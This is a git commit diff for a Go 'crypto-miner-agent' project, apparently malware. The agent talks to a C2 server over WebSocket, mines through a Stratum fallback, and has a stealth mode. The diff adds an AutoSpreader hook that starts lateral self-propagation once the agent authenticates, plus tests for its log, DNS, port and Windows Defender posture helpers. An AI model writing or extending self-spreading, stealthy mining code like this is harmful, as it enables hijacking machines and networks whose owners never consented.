Expand test coverage across server, agent, and web; fix bugs found during audit.
Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
This commit is contained in:
@@ -44,6 +44,10 @@ type AgentClient struct {
|
||||
// connected is true while a C2 WebSocket session is active.
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
connected atomic.Bool
|
||||
|
||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
@@ -252,6 +256,20 @@ func (c *AgentClient) authenticate() error {
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||
|
||||
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||
if c.cfg.AutoSpread {
|
||||
c.spreadOnce.Do(func() {
|
||||
deploy.StartAutoSpreader(c.cfg)
|
||||
// One-shot first-run spread (triggered on the very first install).
|
||||
if deploy.WantsFirstRunSpread(c.cfg) {
|
||||
deploy.RunSpreadOnce(c.cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(c.cfg)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
return nil
|
||||
}
|
||||
@@ -549,6 +567,9 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
||||
return "", err
|
||||
}
|
||||
lines := strings.Split(string(data), "\n")
|
||||
if len(lines) > 0 && lines[len(lines)-1] == "" {
|
||||
lines = lines[:len(lines)-1]
|
||||
}
|
||||
if len(lines) > tailLines {
|
||||
lines = lines[len(lines)-tailLines:]
|
||||
}
|
||||
|
||||
129
agent/client/client_test.go
Normal file
129
agent/client/client_test.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestBuildServerURLListDedupes(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
ServerURL: "https://primary.example",
|
||||
BackupServerURLs: []string{"https://backup.example", "https://primary.example", " "},
|
||||
}}
|
||||
urls := buildServerURLList(cfg)
|
||||
if len(urls) != 2 {
|
||||
t.Fatalf("expected 2 urls, got %v", urls)
|
||||
}
|
||||
if urls[0] != "https://primary.example" || urls[1] != "https://backup.example" {
|
||||
t.Fatalf("unexpected order: %v", urls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildServerURLListEmptyFallback(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{}
|
||||
urls := buildServerURLList(cfg)
|
||||
if len(urls) != 1 || urls[0] != "" {
|
||||
t.Fatalf("expected single empty fallback, got %v", urls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildWSURL(t *testing.T) {
|
||||
cases := []struct {
|
||||
in, want string
|
||||
err bool
|
||||
}{
|
||||
{"https://hub.example/", "wss://hub.example/ws/agent", false},
|
||||
{"http://hub.example:8080", "ws://hub.example:8080/ws/agent", false},
|
||||
{"hub.example", "ws://hub.example/ws/agent", false},
|
||||
{"wss://hub.example/extra/", "wss://hub.example/extra/ws/agent", false},
|
||||
{"ftp://hub.example", "", true},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got, err := buildWSURL(tc.in)
|
||||
if tc.err {
|
||||
if err == nil {
|
||||
t.Fatalf("%q: expected error", tc.in)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", tc.in, err)
|
||||
}
|
||||
if got != tc.want {
|
||||
t.Fatalf("%q: got %q want %q", tc.in, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatCmdErr(t *testing.T) {
|
||||
got := formatCmdErr(os.ErrPermission, []byte("denied"))
|
||||
if !strings.Contains(got, "permission denied") || !strings.Contains(got, "denied") {
|
||||
t.Fatalf("unexpected: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLogTailDisabled(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
FileLogging: false,
|
||||
StealthMode: true,
|
||||
}}
|
||||
_, err := readLogTail(cfg, 50)
|
||||
if err == nil || !strings.Contains(err.Error(), "logging disabled") {
|
||||
t.Fatalf("expected disabled error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLogTailFromInstallDir(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
InstallBase: "custom",
|
||||
InstallCustomBase: dir,
|
||||
InstallRelativePath: ".",
|
||||
}}
|
||||
logPath := filepath.Join(dir, "miner.log")
|
||||
content := "line1\nline2\nline3\nline4\n"
|
||||
if err := os.WriteFile(logPath, []byte(content), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := readLogTail(cfg, 2)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(got, "line3") || !strings.Contains(got, "line4") {
|
||||
t.Fatalf("expected tail lines, got %q", got)
|
||||
}
|
||||
if strings.Contains(got, "line1") {
|
||||
t.Fatal("should not include older lines beyond tail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLogTailMissingFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
FileLogging: true,
|
||||
InstallBase: "custom",
|
||||
InstallCustomBase: dir,
|
||||
InstallRelativePath: ".",
|
||||
}}
|
||||
_, err := readLogTail(cfg, 10)
|
||||
if err == nil || !strings.Contains(err.Error(), "miner.log not found") {
|
||||
t.Fatalf("expected not found, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewAgentClientDefaults(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{AgentID: "agent-1"}
|
||||
c := NewAgentClient(cfg)
|
||||
if c.agentID != "agent-1" {
|
||||
t.Fatalf("agent id %q", c.agentID)
|
||||
}
|
||||
if c.mesh == nil {
|
||||
t.Fatal("mesh node should be initialized")
|
||||
}
|
||||
}
|
||||
32
agent/client/dns_config_test.go
Normal file
32
agent/client/dns_config_test.go
Normal file
@@ -0,0 +1,32 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParseDNSJSON(t *testing.T) {
|
||||
cfg := parseDNSJSON(`{"servers":"1.1.1.1, 8.8.8.8","search":"corp.local, example.com"}`)
|
||||
wantServers := []string{"1.1.1.1", "8.8.8.8"}
|
||||
wantSearch := []string{"corp.local", "example.com"}
|
||||
if !reflect.DeepEqual(cfg.Servers, wantServers) {
|
||||
t.Fatalf("servers: %v", cfg.Servers)
|
||||
}
|
||||
if !reflect.DeepEqual(cfg.SearchDomains, wantSearch) {
|
||||
t.Fatalf("search: %v", cfg.SearchDomains)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseDNSJSONInvalid(t *testing.T) {
|
||||
cfg := parseDNSJSON(`not-json`)
|
||||
if len(cfg.Servers) != 0 || len(cfg.SearchDomains) != 0 {
|
||||
t.Fatalf("invalid json should yield empty config: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseDNSJSONSkipsEmptyFields(t *testing.T) {
|
||||
cfg := parseDNSJSON(`{"servers":"","search":""}`)
|
||||
if len(cfg.Servers) != 0 || len(cfg.SearchDomains) != 0 {
|
||||
t.Fatalf("empty fields should be skipped: %+v", cfg)
|
||||
}
|
||||
}
|
||||
69
agent/client/listen_ports_parse_test.go
Normal file
69
agent/client/listen_ports_parse_test.go
Normal file
@@ -0,0 +1,69 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestSplitHostPort(t *testing.T) {
|
||||
host, port, ok := splitHostPort("0.0.0.0:22")
|
||||
if !ok || host != "0.0.0.0" || port != "22" {
|
||||
t.Fatalf("ipv4: host=%q port=%q ok=%v", host, port, ok)
|
||||
}
|
||||
host, port, ok = splitHostPort("[::1]:443")
|
||||
if !ok || host != "::1" || port != "443" {
|
||||
t.Fatalf("ipv6: host=%q port=%q ok=%v", host, port, ok)
|
||||
}
|
||||
_, _, ok = splitHostPort("bad")
|
||||
if ok {
|
||||
t.Fatal("invalid addr should fail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSSOutput(t *testing.T) {
|
||||
raw := `State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
|
||||
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1234,fd=3))
|
||||
LISTEN 0 128 [::]:443 [::]:* users:(("nginx",pid=5678,fd=5))
|
||||
`
|
||||
r := &ListenPortsReport{}
|
||||
parseSSOutput(r, raw)
|
||||
if len(r.Ports) != 2 {
|
||||
t.Fatalf("expected 2 ports, got %d: %+v", len(r.Ports), r.Ports)
|
||||
}
|
||||
if r.Ports[0].Port != 22 || r.Ports[0].Process != "sshd" || r.Ports[0].PID != 1234 {
|
||||
t.Fatalf("port 22: %+v", r.Ports[0])
|
||||
}
|
||||
if r.Ports[1].Port != 443 || r.Ports[1].Process != "nginx" {
|
||||
t.Fatalf("port 443: %+v", r.Ports[1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSSOutputDedupesPorts(t *testing.T) {
|
||||
raw := `LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=1,fd=1))
|
||||
LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=2,fd=2))
|
||||
`
|
||||
r := &ListenPortsReport{}
|
||||
parseSSOutput(r, raw)
|
||||
if len(r.Ports) != 1 {
|
||||
t.Fatalf("duplicate port should dedupe, got %d", len(r.Ports))
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseNetstatOutput(t *testing.T) {
|
||||
raw := `Active Internet connections (only servers)
|
||||
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
|
||||
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd
|
||||
tcp6 0 0 :::8080 :::* LISTEN 5678/java
|
||||
udp 0 0 0.0.0.0:123 0.0.0.0:* 999/chronyd
|
||||
`
|
||||
r := &ListenPortsReport{}
|
||||
parseNetstatOutput(r, raw)
|
||||
if len(r.Ports) != 2 {
|
||||
t.Fatalf("expected 2 tcp listeners, got %d: %+v", len(r.Ports), r.Ports)
|
||||
}
|
||||
if r.Ports[0].Port != 22 || r.Ports[0].PID != 1234 || r.Ports[0].Process != "sshd" {
|
||||
t.Fatalf("first: %+v", r.Ports[0])
|
||||
}
|
||||
if r.Ports[1].Port != 8080 {
|
||||
t.Fatalf("second: %+v", r.Ports[1])
|
||||
}
|
||||
}
|
||||
44
agent/client/listen_ports_test.go
Normal file
44
agent/client/listen_ports_test.go
Normal file
@@ -0,0 +1,44 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestListenPortsReportJSON(t *testing.T) {
|
||||
if got := (*ListenPortsReport)(nil).JSON(); got != `{"ports":[],"count":0}` {
|
||||
t.Fatalf("nil report: %q", got)
|
||||
}
|
||||
r := &ListenPortsReport{
|
||||
Ports: []ListenPort{{Port: 22, Addr: "0.0.0.0", Proto: "tcp", Process: "sshd", PID: 99}},
|
||||
}
|
||||
got := r.JSON()
|
||||
if !strings.Contains(got, `"count":1`) || !strings.Contains(got, `"port":22`) {
|
||||
t.Fatalf("unexpected json: %s", got)
|
||||
}
|
||||
var decoded ListenPortsReport
|
||||
if err := json.Unmarshal([]byte(got), &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.Count != 1 || len(decoded.Ports) != 1 {
|
||||
t.Fatalf("decoded: %+v", decoded)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPatchStatusReportJSON(t *testing.T) {
|
||||
pending := 3
|
||||
days := 14
|
||||
reboot := true
|
||||
patch := "2026-01-01"
|
||||
r := &PatchStatusReport{
|
||||
PendingUpdates: &pending,
|
||||
LastPatchDays: &days,
|
||||
LastPatch: &patch,
|
||||
RebootPending: &reboot,
|
||||
}
|
||||
got := r.JSON()
|
||||
if !strings.Contains(got, `"pending_updates":3`) {
|
||||
t.Fatalf("unexpected: %s", got)
|
||||
}
|
||||
}
|
||||
89
agent/client/posture_windows_test.go
Normal file
89
agent/client/posture_windows_test.go
Normal file
@@ -0,0 +1,89 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestJSONBoolHelpers(t *testing.T) {
|
||||
m := map[string]interface{}{
|
||||
"b": true,
|
||||
"s": "true",
|
||||
"n": "1",
|
||||
"x": "false",
|
||||
}
|
||||
if v := jsonBool(m, "b"); v == nil || !*v {
|
||||
t.Fatal("bool true")
|
||||
}
|
||||
if v := jsonBool(m, "s"); v == nil || !*v {
|
||||
t.Fatal("string true")
|
||||
}
|
||||
if v := jsonBool(m, "n"); v == nil || !*v {
|
||||
t.Fatal("numeric string true")
|
||||
}
|
||||
if v := jsonBool(m, "x"); v == nil || *v {
|
||||
t.Fatal("string false")
|
||||
}
|
||||
if jsonBool(m, "missing") != nil {
|
||||
t.Fatal("missing key")
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONIntHelpers(t *testing.T) {
|
||||
m := map[string]interface{}{
|
||||
"f": float64(42),
|
||||
"i": 7,
|
||||
"s": "99",
|
||||
"b": "nope",
|
||||
}
|
||||
if v := jsonInt(m, "f"); v == nil || *v != 42 {
|
||||
t.Fatalf("float64: %v", v)
|
||||
}
|
||||
if v := jsonInt(m, "i"); v == nil || *v != 7 {
|
||||
t.Fatalf("int: %v", v)
|
||||
}
|
||||
if v := jsonInt(m, "s"); v == nil || *v != 99 {
|
||||
t.Fatalf("string int: %v", v)
|
||||
}
|
||||
if jsonInt(m, "b") != nil {
|
||||
t.Fatal("invalid string int")
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONStringHelpers(t *testing.T) {
|
||||
m := map[string]interface{}{"ok": "value", "empty": ""}
|
||||
if v := jsonString(m, "ok"); v == nil || *v != "value" {
|
||||
t.Fatalf("string: %v", v)
|
||||
}
|
||||
if jsonString(m, "empty") != nil {
|
||||
t.Fatal("empty string omitted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONStringSliceHelpers(t *testing.T) {
|
||||
m := map[string]interface{}{
|
||||
"one": "defender",
|
||||
"multi": []interface{}{"a", "", "b"},
|
||||
}
|
||||
if got := jsonStringSlice(m, "one"); len(got) != 1 || got[0] != "defender" {
|
||||
t.Fatalf("single: %v", got)
|
||||
}
|
||||
if got := jsonStringSlice(m, "multi"); len(got) != 2 || got[0] != "a" || got[1] != "b" {
|
||||
t.Fatalf("multi: %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONServiceSlice(t *testing.T) {
|
||||
m := map[string]interface{}{
|
||||
"services": []interface{}{
|
||||
map[string]interface{}{
|
||||
"name": "WinDefend",
|
||||
"status": "running",
|
||||
"start_type": "auto",
|
||||
},
|
||||
},
|
||||
}
|
||||
svcs := jsonServiceSlice(m, "services")
|
||||
if len(svcs) != 1 || svcs[0].Name != "WinDefend" || svcs[0].Status != "running" {
|
||||
t.Fatalf("services: %+v", svcs)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user